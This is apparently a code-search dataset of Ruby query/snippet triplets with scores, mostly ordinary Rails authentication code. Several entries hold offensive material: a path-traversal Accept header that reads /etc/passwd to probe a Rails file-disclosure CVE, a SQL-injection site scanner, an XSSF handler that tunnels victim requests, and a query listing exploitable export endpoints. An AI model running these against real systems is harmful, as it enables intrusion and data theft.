"def encrypt_password\n if password.present?\n self.salt = BCrypt::Engine.generate_salt\n self.encrypted_password= BCrypt::Engine.hash_secret(password, salt)\n end\n end",
"def encrypt(password)\n User.password_digest(password, salt)\n end",
"def encrypt_password\n if password.present?\n self.password_salt = BCrypt::Engine.generate_salt\n self.password_hash = BCrypt::Engine.hash_secret(password, password_salt)\n end\n end",
"def encrypt_password\n if password.present?\n self.password_salt = BCrypt::Engine.generate_salt\n self.password_hash = BCrypt::Engine.hash_secret(password, password_salt)\n end\n end",
"def encrypt_password\n if password.present?\n self.password_salt = BCrypt::Engine.generate_salt\n self.password_hash = BCrypt::Engine.hash_secret(password, password_salt)\n end\n end",
"def encrypt_password\n if password.present?\n self.password_salt = BCrypt::Engine.generate_salt\n self.password_hash = BCrypt::Engine.hash_secret(password, password_salt)\n end\n end",
"def encrypt_password\n if password.present?\n self.password_salt = BCrypt::Engine.generate_salt\n self.password_hash = BCrypt::Engine.hash_secret(password, password_salt)\n end\n end",
"def encrypt(password)\n self.class.encrypt(password) #, salt)\n end"
] |
[
"0.8456656",
"0.83809954",
"0.837295",
"0.83666867",
"0.8361271",
"0.83577955",
"0.83577955",
"0.83577955",
"0.83577955",
"0.83577955",
"0.83577955",
"0.83539045",
"0.8353123",
"0.83147633",
"0.8314556",
"0.83011955",
"0.82853645",
"0.8279242",
"0.8253498",
"0.82321554",
"0.82296264",
"0.82296264",
"0.82296264",
"0.82296264",
"0.82296264",
"0.82236284"
] |
0.0
|
-1
|
These create and unset the fields required for remembering users between browser closes
|
def remember_me
remember_me_for 2.weeks
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def forgets\n update_attribute(:remember_digest, nil)\n end",
"def after_save\n cookies['global_properties_for_user'] = nil\n end",
"def forget\n \tupdate_attribute(:remember_digest, nil)\n end",
"def forget\n \tupdate_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n \n end",
"def forget\n\t\tupdate_attribute(:remember_digest,nil)\n\tend",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n update_attribute :remember_digest, nil\n end",
"def forget\n update_attribute :remember_digest, nil\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def clear_user_and_mark_purged\n random_suffix = (('0'..'9').to_a + ('a'..'z').to_a).sample(8).join\n\n self.studio_person_id = nil\n self.name = nil\n self.username = \"#{SYSTEM_DELETED_USERNAME}_#{random_suffix}\"\n self.current_sign_in_ip = nil\n self.last_sign_in_ip = nil\n self.email = ''\n self.hashed_email = ''\n self.parent_email = nil\n self.encrypted_password = nil\n self.uid = nil\n self.reset_password_token = nil\n self.full_address = nil\n self.properties = {}\n\n self.purged_at = Time.zone.now\n\n save!\n end",
"def clear_fields\n self.password=nil\n self.username=nil\n self.role=nil\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(:validate => false) \n end",
"def clear_login_data\r\n session[:edit_mode] = 0\r\n session[:user_id] = nil\r\n session[:user_name] = nil\r\n session[:user_roles] = nil\r\n cookies.delete :remember_me\r\nend",
"def after_remembered; end",
"def after_remembered\n end",
"def forget_me\r\n self.remember_token_expires_at = nil\r\n self.remember_token = nil\r\n save(:validate => false)\r\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(:validate => false)\n end",
"def reset!\n self.user_values = {}\n\n # @inputs have to be nil, not an empty hash. otherwise\n # the memoized inputs will not pick up the changes.\n @inputs = nil\n end",
"def userinfo_unset\n userinfo_set nil\n end",
"def forget(user)\n user.update_attribute(:remember_digest, nil)\n cookies.delete(:student_id) if student?\n cookies.delete(:tutor_id) if tutor?\n cookies.delete(:remember_token)\n end",
"def after_create\n @password = nil\n @confirm_password = nil\n end",
"def forget\n update_attribute(:remember_token, nil)\n end",
"def remember_values\n logger.debug {\"Generating remember values\"}\n {}\n end",
"def clean_up_passwords\n self.dob = nil\n super\n end",
"def reset_session_variables\n session[:login] = ''\n session[:register_id] = ''\n session[:register_name] = ''\n session[:folio_id] = ''\n session[:folio_image] = ''\n session[:first_folio_id] = ''\n session[:last_folio_id] = ''\n session[:browse_id] = ''\n session[:browse_image] = ''\n end",
"def clean_up\n Capybara.current_session.execute_script \"window.localStorage.removeItem('pushEnabled');window.localStorage.removeItem('clark-user-journey');\"\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(false)\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(false)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n # We don't need the below line because if we update remember_digest to nil, then\n # you cannot use the old remember_token anyway, so it is unnecessary\n # self.remember_token = nil\n end",
"def teardown\n @user_admin = nil\n @user_admin_details = nil\n\n @user_normal = nil\n @user_normal_details = nil\n\n session[:user_id] = nil\n end",
"def forget\n self.remember_token = nil\n update_attribute(:remember_digest, nil)\n end",
"def forget\n self.remember_token = nil\n update_attribute(:remember_digest, nil)\n end",
"def force_forget_me!\n config = sorcery_config\n sorcery_adapter.update_attributes(config.remember_me_token_attribute_name => nil,\n config.remember_me_token_expires_at_attribute_name => nil)\n end",
"def clear_new_flight_variables\n session[:new_flight] = Hash.new\n end",
"def after_create\n @password = nil\n end",
"def after_create\n @password = nil\n end",
"def set_logged_out\n @id = nil\n @nonce = nil\n @ip = nil\n end",
"def sign_out\n @username = nil\n @current_user = nil\n\n @modhash = nil\n @cookie = nil\n end",
"def forget\n self.remember_token = nil\n self.update_attribute(:remember_digest, nil)\n end",
"def sign_out\n #Setting current user's remember_token to a\n #new hash that is in valid\n #The idea is to make every record in the\n #table to look identical in an attempt to\n #thwart evil\n current_user.update_attribute(:remember_token, User.hash(User.new_remember_token))\n #Deletes current user's remember_token from hash\n cookies.delete(:remember_token)\n #sets current use to empty\n self.current_user = nil\n end",
"def remember_me=(_arg0); end",
"def check_for_removal\n if @value && @unused && @unused[\"unused\"]\n @res.cookies << create_cookie(\"unused\", false, 'flash_unused')\n elsif @value\n @value = nil\n @res.cookies << create_cookie(\"unused\", nil, 'flash_unused')\n @res.cookies << create_cookie(\"message\", nil)\n end\n end",
"def discard_saved_state\n end",
"def set_defaults\n self.state ||= 'NEW'\n self.user_id ||= Gizmo::Util::Uuid.generate\n end",
"def forget_me!\n sorcery_config.remember_me_token_persist_globally || force_forget_me!\n end",
"def destruir\n session[:email]=nil\n session[:nombre]=nil\n session[:apellido]=nil\n $email=''\n $nombre=''\n end",
"def clean_up\n @minefield = nil\n end",
"def logout\n session[:email] = nil\n session[:firstname] = nil\n session[:lastname] = nil \n render :adduser \n end",
"def reset_fields\n self.outpost_queued = false\n # outpost_prevent is set and reset at end of previous turn\n # pirate_coins persists turn after turn\n self.gained_last_turn = []\n self.bought_victory = false\n self.played_treasure = false\n self.played_crossroads = false\n self.played_fools_gold = false\n save!\n end",
"def session_reset(db_user) # User record\n # Clear session hash just to be sure nothing is left (but copy over some fields)\n winh = session[:winH]\n winw = session[:winW]\n session.clear\n session[:winH] = winh\n session[:winW] = winw\n\n session[:userid] = db_user.userid\n\n # Set the current userid in the User class for this thread for models to use\n User.current_userid = session[:userid]\n\n session[:username] = db_user.name\n\n # set group and role ids\n session[:group] = db_user.miq_group.id # Set the user's group id\n session[:group_description] = db_user.miq_group.description # and description\n role = db_user.miq_group.miq_user_role\n session[:role] = role.id # Set the group's role id\n\n # Build pre-sprint 69 role name if this is an EvmRole read_only role\n session[:userrole] = role.read_only? ? role.name.split(\"-\").last : \"\"\n\n # Save an array of groups this user is eligible for, if more than 1\n eg = db_user.eligible_miq_groups.sort{|a,b| a.description.downcase <=> b.description.downcase}\n session[:eligible_groups] = db_user.nil? || eg.length < 2 ?\n [] :\n eg.collect{|g| [g.description, g.id]}\n\n # Clear instance vars that end up in the session\n @sb = @edit = @view = @settings = @lastaction = @perf_options = @assign =\n @current_page = @search_text = @detail_sortcol = @detail_sortdir =\n @exp_key = @server_options = @tl_options =\n @pp_choices = @panels = @breadcrumbs = nil\n end",
"def reset_unnecessary_fields\n self.department_id = nil\n self.media = nil\n self.telephone = nil\n self.organization = nil\n self.stream_flow_ids = []\n self.public_role_es = nil\n self.public_role_eu = nil\n self.public_role_en = nil\n self.gc_id = nil\n self.description_es = nil\n self.description_eu = nil\n self.description_en = nil\n self.politician_has_agenda = nil\n end",
"def forget\n self.remember_token = nil\n update_attribute(:remember_token_digest, nil)\n end",
"def resets; end",
"def forget(tok)\n update_attributes! remember_hash: remember_hash.delete_if { |_k, v| Encrypt::Password.validatePassword tok, v } unless tok.nil?\n end",
"def clear_back_office_data\n @flbt_type = nil\n @version = nil\n @submitted_date = nil\n @effective_date = nil\n @filing_date = nil\n @ads_included = nil\n @ads_amount = nil\n @number_of_buyers = nil\n end",
"def reset_cleared_default_fields\n @cleared_default_fields = {}\n end",
"def clear_cookie\n create_accesses_cookie\n end",
"def remember_me; end",
"def fortune_cookie; end",
"def set_new_form_vars\n @edit = {}\n @edit[:key] = \"sm_edit__new\"\n @edit[:new] = {}\n @edit[:current] = {}\n\n @edit[:new][:name] = nil\n @edit[:sm_types] = StorageManager.storage_manager_types\n @edit[:new][:hostname] = nil\n @edit[:new][:ipaddress] = nil\n @edit[:new][:port] = nil\n @edit[:new][:sm_type] = nil\n # @edit[:new][:agent_type] = nil\n @edit[:new][:zone] = \"default\"\n @edit[:server_zones] = []\n zones = Zone.all\n zones.each do |zone|\n @edit[:server_zones].push(zone.name)\n end\n\n @edit[:new][:userid] = nil\n @edit[:new][:password] = nil\n @edit[:new][:verify] = nil\n\n session[:verify_sm_status] = nil\n set_verify_status\n\n @edit[:current] = @edit[:new].dup\n session[:edit] = @edit\n end",
"def reset!\n defaults = Settler.config[self.key]\n self.label = defaults['label']\n self.value = defaults['value']\n self.editable = defaults['editable']\n self.deletable = defaults['deletable']\n self.deleted = false\n save(:validate => false)\n end",
"def valid_upto\n GlobalConstant::Cookie.password_auth_expiry\n end",
"def forget_me!\n return unless persisted?\n self.remember_token = nil if respond_to?(:remember_token)\n self.remember_created_at = nil if self.class.expire_all_remember_me_on_sign_out\n save(validate: false)\n end",
"def reset_current_useritem\n session[:useritem_id] = nil\n session[:useritem_type] = nil\n end",
"def set_defaults\n self.state ||= 'NEW'\n self.account_id ||= Gizmo::Util::Uuid.generate\n self.account_name ||= self.subdomain\n end",
"def reset_guest!\n original_locale = session[:locale]\n original_scores = session[:show_scores]\n\n sign_out(:user) if user_signed_in?\n reset_session\n\n session[:locale] = original_locale\n session[:show_scores] = original_scores\n\n cookies.delete :guest\n @_guest = nil\n end",
"def reset_to_defaults!\n @allowlist_regexp = nil\n @custom_http_auth_scheme = UnsetString.new(\"custom_http_auth_scheme\")\n @env_var_to_hold_api_client_primary_key = NonNullString.new(\"env_var_to_hold_api_client_primary_key\",\"STITCHES_API_CLIENT_ID\")\n @env_var_to_hold_api_client= NonNullString.new(\"env_var_to_hold_api_client\",\"STITCHES_API_CLIENT\")\n @max_cache_ttl = NonNullInteger.new(\"max_cache_ttl\", 0)\n @max_cache_size = NonNullInteger.new(\"max_cache_size\", 0)\n @disabled_key_leniency_in_seconds = ActiveSupport::Duration.days(3)\n @disabled_key_leniency_error_log_threshold_in_seconds = ActiveSupport::Duration.days(2)\n end",
"def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end",
"def clean_up_passwords; end",
"def reset\n session[:emirate_id] = nil\n session[:emirate_name] = nil\n session[:neighborhood_id] = nil\n session[:neighborhood_name] = nil\n session[:project_id] = nil\n session[:project_name] = nil\n session[:building_id] = nil\n session[:building_name] = nil\n flash[:notice] = \"Selected value for Emirate has been reseted.\"\n redirect_to(request.env['HTTP_REFERR'] || emirates_url)\n end",
"def refresh_expiration \n \t self.needs_new_cookie=true \n \tend",
"def remember_me\n self.remember_token_expires_at = 2.weeks.from_now.utc\n self.remember_token = encrypt(\"#{remember_token_expires_at}\")\n # save(:validate => false)\n end",
"def forget\n \tputs \"%USER-I-TRACE, forget called.\"\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def abandon!\n @user = nil\n session.clear\n end",
"def reset_user\n return unless exists?(:previous_user)\n set :user, fetch(:previous_user)\n unset :previous_user\n clear_sessions\n end",
"def cleared_required\n if current_user\n if current_user.cleared\n return\n end\n raise 'Du är ännu inte godkänd för att tippa.'\n end\n redirect_to \"/login\", notice: 'Logga in för att tippa.'\n end",
"def reset!\n reset_secret\n refresh_expiry\n reset_confirmation\n save!\n end",
"def forget_form_data(type)\n session.delete(type)\n end",
"def remember_me() return true; end"
] |
[
"0.655833",
"0.64576274",
"0.6433039",
"0.6433039",
"0.63186485",
"0.6318346",
"0.62982345",
"0.62982345",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6266504",
"0.6252695",
"0.6252695",
"0.6252695",
"0.62494266",
"0.62494266",
"0.6221605",
"0.62047994",
"0.61707467",
"0.6157821",
"0.6139168",
"0.6128803",
"0.60424393",
"0.60367966",
"0.59947336",
"0.5886899",
"0.58703595",
"0.5850127",
"0.5849959",
"0.58350986",
"0.5799766",
"0.5749178",
"0.5726777",
"0.5696514",
"0.56919754",
"0.56919754",
"0.567833",
"0.566733",
"0.56405693",
"0.56405693",
"0.5634449",
"0.5626462",
"0.558413",
"0.558413",
"0.556913",
"0.5564659",
"0.5563434",
"0.55582345",
"0.55325294",
"0.55272514",
"0.55179334",
"0.5517242",
"0.5510993",
"0.54968077",
"0.5490115",
"0.5482928",
"0.5475412",
"0.54741484",
"0.5471919",
"0.546449",
"0.543982",
"0.54385984",
"0.5434804",
"0.54124016",
"0.54083997",
"0.5403811",
"0.5401727",
"0.53954965",
"0.53888035",
"0.53721374",
"0.53679377",
"0.53436095",
"0.53367555",
"0.53323185",
"0.53320724",
"0.532623",
"0.53255653",
"0.53242767",
"0.5322038",
"0.5310463",
"0.5305345",
"0.5303277",
"0.5302871",
"0.5295144",
"0.52868015",
"0.52844334",
"0.5281007"
] |
0.0
|
-1
|
There are a total of 20 vulnerable areas. These areas are located in cells,psap,numbering,smpp fields. One request for each of these fields has been used for exploitation. These are listed below. /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1 /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 for Origin and Referer headers
|
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index \n#http://libserver3.yale.edu:3000/auth?oid=10590515&type=jpg150&ip=130.132.80.210\n#http://lbdev.library.yale.edu/xml_accesscondition.aspx?a=s_lib_ladybird&b=E8F3FF02-A65A-4A20-B7B1-A9E35969A0B7&c=10590515'\n oid = params[:oid] || \"\"\n\ttype = params[:type] || \"\"\n\tip = params[:ip] || \"\"\n\tnetid = params[:netid] || \"\"\n\t\n\tif oid==\"\" || type==\"\" || ip==\"\"\n\t\trender :text => \"missing parameters - oid:\"+oid+\" type:\"+type+\" ip:\"+ip\n\t\treturn\n end \n\tbase_url = 'http://lbdev.library.yale.edu/xml_accesscondition.aspx?'\n\tparam_a = 'a=s_lib_ladybird'\n\tparam_b = 'b=E8F3FF02-A65A-4A20-B7B1-A9E35969A0B7'\n\tparam_c = 'c=' + oid\n\tfull_url = base_url+param_a+\"&\"+param_b+\"&\"+param_c\n\tlogger.info full_url\n doc = Nokogiri::XML(open(full_url))\n\trule = doc.xpath(\"//schema//object//rule[@type='\"+type+\"']//@code\")\n\tlogger.info rule.to_s\n\treturn_msg = \"default\"\n\tif rule.to_s == \"Yale Only\"\n\t\tif ip_check(ip) == true\n\t\t\treturn_msg = \"authorized\"\n\t\telse\n\t\t\t#if cas netid ok then return_msg = \"authorized\"\n\t\t\t#elsf no cas netid then return_msg = \"try cas\"\n\t\t\t#else unauthorized\n\t\t\tif netid.size == 0\n\t\t\t\treturn_msg = \"unauthorized\"\n\t\t\telse\n\t\t\t\treturn_msg = \"authorized\"\n\t\t\tend\n\t\tend \n\tend\n\tif rule.to_s == \"AD Group Restriction\"\n\t\tgroup = doc.xpath(\"//schema//object//rule[@type='\"+type+\"']//value\")\n\t\treturn_msg = group.to_s\t\n\tend\n\t#TODO other rules here\n\n\t#logger.info \"IP:\"+ip\n\t#logger.info ip_check(ip)\n logger.info \"Host:\"+ request.host_with_port\t\n\trender :text => return_msg\n\treturn\n end",
"def xssf_process_attacker_request(req, res)\n\t\t\t\tbegin\n\t\t\t\t\tcase req.path\t\t\t\t\t\n\t\t\t\t\t\t# Victim log page is asked\n\t\t\t\t\t\twhen /^#{self.serverURI + VICTIM_GUI}/\n\t\t\t\t\t\t\tbuild_log_page(req, res)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse # Other page is asked by a victim : redirect to known file or active module (This part needs cookie to be activated) \n\t\t\t\t\t\t\tif ((v = victim_tunneled) && (req.request_method =~ /^(GET|POST)$/i))\n\t\t\t\t\t\t\t\txssf_tunnel_request(req, res, v)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tXSSF_404(res)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\trescue\n\t\t\t\t\tXSSF_404(res) \n\t\t\t\t\tprint_error(\"Error 27: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\tend",
"def vulnerability_check(file_mode: false)\n file_to_read = file_mode ? FILE_FLAG_FILE_PATH : SITES_TO_CHECK_PATH # Check which file to read\n FORMAT.info(\"Reading from #{file_to_read}\")\n FORMAT.info('Forcing encoding to UTF-8') unless file_mode\n IO.read(\"#{file_to_read}\").each_line do |vuln|\n begin\n FORMAT.info(\"Parsing page for SQL syntax error: #{vuln.chomp}\")\n Timeout::timeout(10) do\n begin\n if SETTINGS.parse(\"#{vuln.chomp}'\", 'html', 0) =~ SQL_VULN_REGEX # If it has the vuln regex error\n SQL_ERROR[vuln.chomp] = SETTINGS.parse(\"#{vuln.chomp}'\", 'html', 0).to_s\n FORMAT.site_found(vuln.chomp)\n File.open(\"#{TEMP_VULN_LOG}\", \"a+\") { |vulnerable| vulnerable.puts(vuln) }\n sleep(0.5)\n else\n FORMAT.warning(\"#{vuln.chomp} is not vulnerable, dumped to non_exploitable.txt\")\n File.open(\"#{NON_EXPLOITABLE_PATH}\", \"a+\") { |non_exploit| non_exploit.puts(vuln) }\n sleep(0.5)\n end\n rescue Timeout::Error, OpenSSL::SSL::SSLError # Timeout or SSL errors\n FORMAT.warning(\"Site: #{vuln.chomp} failed to load, dumped to non_exploitable.txt\")\n File.open(\"#{NON_EXPLOITABLE_PATH}\", \"a+\") { |timeout| timeout.puts(vuln) }\n sleep(0.5)\n next\n end\n end\n rescue *LOADING_ERRORS\n FORMAT.err(\"#{vuln.chomp} failed due to an error while connecting, URL dumped to non_exploitable.txt\")\n File.open(\"#{NON_EXPLOITABLE_PATH}\", \"a+\") { |error| error.puts(vuln) }\n next\n end\n end\n end",
"def parse_over_info(hrds,condensed,items,locnames_by_lid)\n\t over = {}\n\t overinfo = {}\n\t ocnt = {} # how many items have an over ridden location, either temp OR perm, indexed by number\n\t total = {} # how many items are in a location\n\t ##Rails.logger.debug \"\\nes287_debug saved response file:#{__FILE__} line:(#{__LINE__}) @response= \" + @response.inspect\n\t ##Rails.logger.debug \"\\nes287_debug all holdings records from document file:#{__FILE__} line:(#{__LINE__}) hrds= \" + hrds.inspect\n\t ##Rails.logger.debug \"\\nes287_debug locnames by lid document file:#{__FILE__} line:(#{__LINE__}) locnames by lid= \" + locnames_by_lid.inspect\n\t ##Rails.logger.debug \"\\nes287_debug number of items file:#{__FILE__} line:(#{__LINE__})= \" + items.size.to_s\n\t items.each do |iinfo|\n\t tmploc = {}\n\t mid = iinfo['mfhd_id']\n\t ##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) iinfo= \" + iinfo.inspect\n\t ##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) hrds[mid]= \" + hrds[mid].inspect\n\t #\n\t next if hrds[mid].nil?\n\t ##Rails.logger.debug \"\\nes287_debug hrds file:#{__FILE__} line:(#{__LINE__}) location id = \" + hrds[mid][\"locations\"][0][\"number\"].to_s\n\t lid = hrds[mid][\"locations\"][0][\"number\"].to_s\n\t ##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) mid = \" + mid.inspect\n\t ##Rails.logger.debug \"\\nes287_debug class of permlocation file:#{__FILE__} line:(#{__LINE__}) class = \" + iinfo[:perm_location].class.to_s\n\t dispname = \"\"\n\t dcode = \" \"\n\t if iinfo[:perm_location].class == ActiveSupport::HashWithIndifferentAccess\n\t\tdcode = iinfo[:perm_location][:number].to_s\n\t\tdispname = iinfo[:perm_location][:name]\n\t else\n\t\tif !iinfo[\"perm_location\"].blank?\n\t\t dcode = iinfo[\"perm_location\"]\n\t\t ##Rails.logger.debug \"\\nes287_debug class of permlocation file:#{__FILE__} line:(#{__LINE__}) dcode = \" + dcode.inspect\n\t\t dispname = locnames_by_lid[dcode][:display_name] unless dcode.blank?\n\t\tend\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug dcode file:#{__FILE__} line:(#{__LINE__}) dcode = \" + dcode.inspect\n\t if dcode != \" \" && dcode != hrds[mid][\"locations\"][0][\"number\"].to_s\n\t # if iinfo['perm_location'] != hrds[mid][\"locations\"][0][\"number\"].to_s\n\t\t##Rails.logger.debug \"\\nes287_debug item file:#{__FILE__} line:(#{__LINE__}) OVERRIDDEN by item perm location = \" + iinfo['perm_location'].inspect\n\t\t##Rails.logger.debug \"\\nes287_debug locnames by lid file:#{__FILE__} line:(#{__LINE__}) = \" + locnames_by_lid.inspect\n\t\tocnt[lid] = ocnt[lid].blank? ? 1 : ocnt[lid]+1\n\t\ttotal[lid] = total[lid].blank? ? 1 : total[lid]+1\n\t\t##Rails.logger.debug \"\\nes287_debug ocnt line:(#{__LINE__}) overridden count = \" + ocnt.inspect\n\t\ttmploc[\"location_name\"] = dispname\n\t\t#dcode = iinfo[:perm_location][:number].to_s\n\t\ttmploc[\"location_code\"] = dcode\n\t\ttmploc[\"item_enum\"] = iinfo[:item_enum]\n\t\ttmploc[\"holding_id\"] = [mid]\n\t\ttmploc[\"chron\"] = iinfo[:chron]\n\t\ttmploc[\"call_number\"] = hrds[mid][\"callnos\"][0]\n\t\ttmploc[\"copies\"] = iinfo[:copy_number]\n\t\tcopies = \"\"\n\t\tcopies = \" c. #{tmploc['copies']} \" unless tmploc.blank?\n\t\t##Rails.logger.debug \"\\nes287_debug #{__FILE__}:#{__LINE__} tmploc = \" + tmploc.inspect\n\t\ttmploc[\"display\"] = Maybe(tmploc['item_enum']) + ' ' + Maybe(tmploc['chron']) + Maybe(copies) + \" Shelved in #{dispname}\"\n\t\t#oneloc[\"summary_holdings\"] = \"Library has: \" + summary_holdings.join(' ') unless summary_holdings.blank?\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) item = \" + iinfo.inspect\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) tmploc = \" + tmploc.inspect\n\t\t##Rails.logger.debug \"\\nes287_debug file:#{__FILE__} line(#{__LINE__}) dispname = \" + dispname.inspect\n\t\toverinfo[mid] = tmploc\n\t\tif over[mid].blank?\n\t\t over[mid] = [ tmploc[\"display\"] ]\n\t\telse\n\t\t over[mid] << tmploc[\"display\"]\n\t\t end\n\t end\n\t if (!iinfo['temp_location'].blank? && iinfo['temp_location'] != \"0\" ) && iinfo['temp_location'] != hrds[mid][\"locations\"][0][\"number\"].to_s\n\t\t##Rails.logger.debug \"\\nes287_debug item line:(#{__LINE__} OVERRIDDEN item temp location = \" + iinfo['temp_location'].inspect\n\t\tdispname = locnames_by_lid[iinfo[:temp_location]][:display_name]\n\t\tocnt[lid] = ocnt[lid].blank? ? 1 : ocnt[lid]+1\n\t\ttotal[lid] = total[lid].blank? ? 1 : total[lid]+1\n\t\t##Rails.logger.debug \"\\nes287_debug ocnt line:(#{__LINE__}) overriden count = \" + ocnt.inspect\n\t\ttmploc[\"location_name\"] = dispname\n\t\tdcode = locnames_by_lid[iinfo[:temp_location]][:location_code]\n\t\ttmploc[\"location_code\"] = dcode\n\t\ttmploc[\"holding_id\"] = [mid]\n\t\ttmploc[\"item_enum\"] = iinfo[:item_enum]\n\t\ttmploc[\"chron\"] = iinfo[:chron]\n\t\ttmploc[\"call_number\"] = hrds[mid][\"callnos\"][0]\n\t\ttmploc[\"copies\"] = []\n\t\ttmploc[\"display\"] = tmploc['item_enum'] + ' ' + tmploc['chron'] + \" Temporarily shelved in #{dispname}\"\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) tmploc = \" + tmploc.inspect\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) dispname = \" + dispname\n\t\toverinfo[mid] = tmploc\n\t\tif over[mid].blank?\n\t\t over[mid] = [ tmploc[\"display\"] ]\n\t\telse\n\t\t over[mid] << tmploc[\"display\"]\n\t\t end\n\t end\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug ocnt line:(#{__LINE__}) overridden count = \" + ocnt.inspect\n\t ##Rails.logger.debug \"\\nes287_debug total line:(#{__LINE__}) item count in holding = \" + total.inspect\n\t return over,overinfo\n\t end",
"def run\n super\n\n require_enrichment\n\n ## Trigger: Accept Header of the following form\n ## ../../../../../../../../../../etc/passwd{{\n\n paths = [\"\"] # Enter any known paths here (spidering first might be a good idea)\n headers = {\"Accept\" => \"../../../../../../../../../../etc/passwd{{\"}\n\n paths.each do |p|\n\n # Request\n uri = \"#{_get_entity_name}/#{p}\"\n response = http_request :get, \"#{uri}\", nil, headers\n etc_passwd_body = response.body_utf8.split(\"\\n\").first(3).join(\"\\n\") if response\n\n # Check for validity\n if response\n if \"#{etc_passwd_body}\" =~ /root\\:x/\n _log \"Vulnerable! Partial content of response: #{etc_passwd_body}\"\n _create_linked_issue(\"rails_information_disclosure_cve_2019_5418\", {\n proof: {\n response_data: etc_passwd_body\n }\n })\n else\n _log \"Got non-vulnerable response: #{response.body_utf8}\"\n end\n else\n _log \"Empty response at #{uri}\"\n end\n end\n\n end",
"def web_log(_log)\n\tinfile = File.open(_log, \"r\")\n\twhile (word = infile.gets)\n\t\tif word =~ /4[0-9][0-9]/\n\t\t\tparse_line(word, \"HTTP 4** Error found\")\t\n\t\t\t#$s404s += 1\n\t\tend\n\t\tif word =~ /[n|N][m|M][a|A][p|P]/ \n\t\t\tparse_line(word, \"nmap found\")\n\t\t\t#$nmaps += 1\n\t\tend\n\t\t#patterns for \\x hex hex (hex)? (hex)? (hex)? \\\n\t\tif word =~ /\\\\x[0-9|a-f|A-F][0-9|a-f|A-F]([0-9|a-f|A-F])?([0-9|a-f|A-F])?([0-9|a-f|A-F])?\\\\/\n\t\t\t#$shells += 1\n\t\t\tparse_line(word, \"Shellcode found\")\n\t\tend\t\n\t\t\n\tend\nend",
"def ip_address_distribution(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"IP Address Distribution\" page.\n begin\n @ff.link(:text, 'IP Address Distribution').click\n self.msg(rule_name, :info, 'IP Address Distribution', 'Reached page \\'IP Address Distribution\\'.')\n rescue\n self.msg(rule_name, :error, 'IP Address Distribution', 'Did not reach \\'IP Address Distribution\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') )then\n # Right,go on.\n else\n self.msg(rule_name,:error,'ip_address_distribution','Some key NOT found.')\n return\n end\n \n # Begin parsing the json file.\n \n # Output the table.\n \n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n if ( t.text.include? 'Name' and \n t.text.include? 'Service' and\n ( not t.text.include? 'IP Address Distribution') and\n ( not t.text.include? 'Close') and\n t.row_count >= 2 )then\n sTable = 